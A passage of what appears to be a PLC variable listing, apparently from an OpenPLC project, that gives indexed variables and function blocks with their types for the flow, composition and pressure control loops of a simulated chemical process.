+46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; 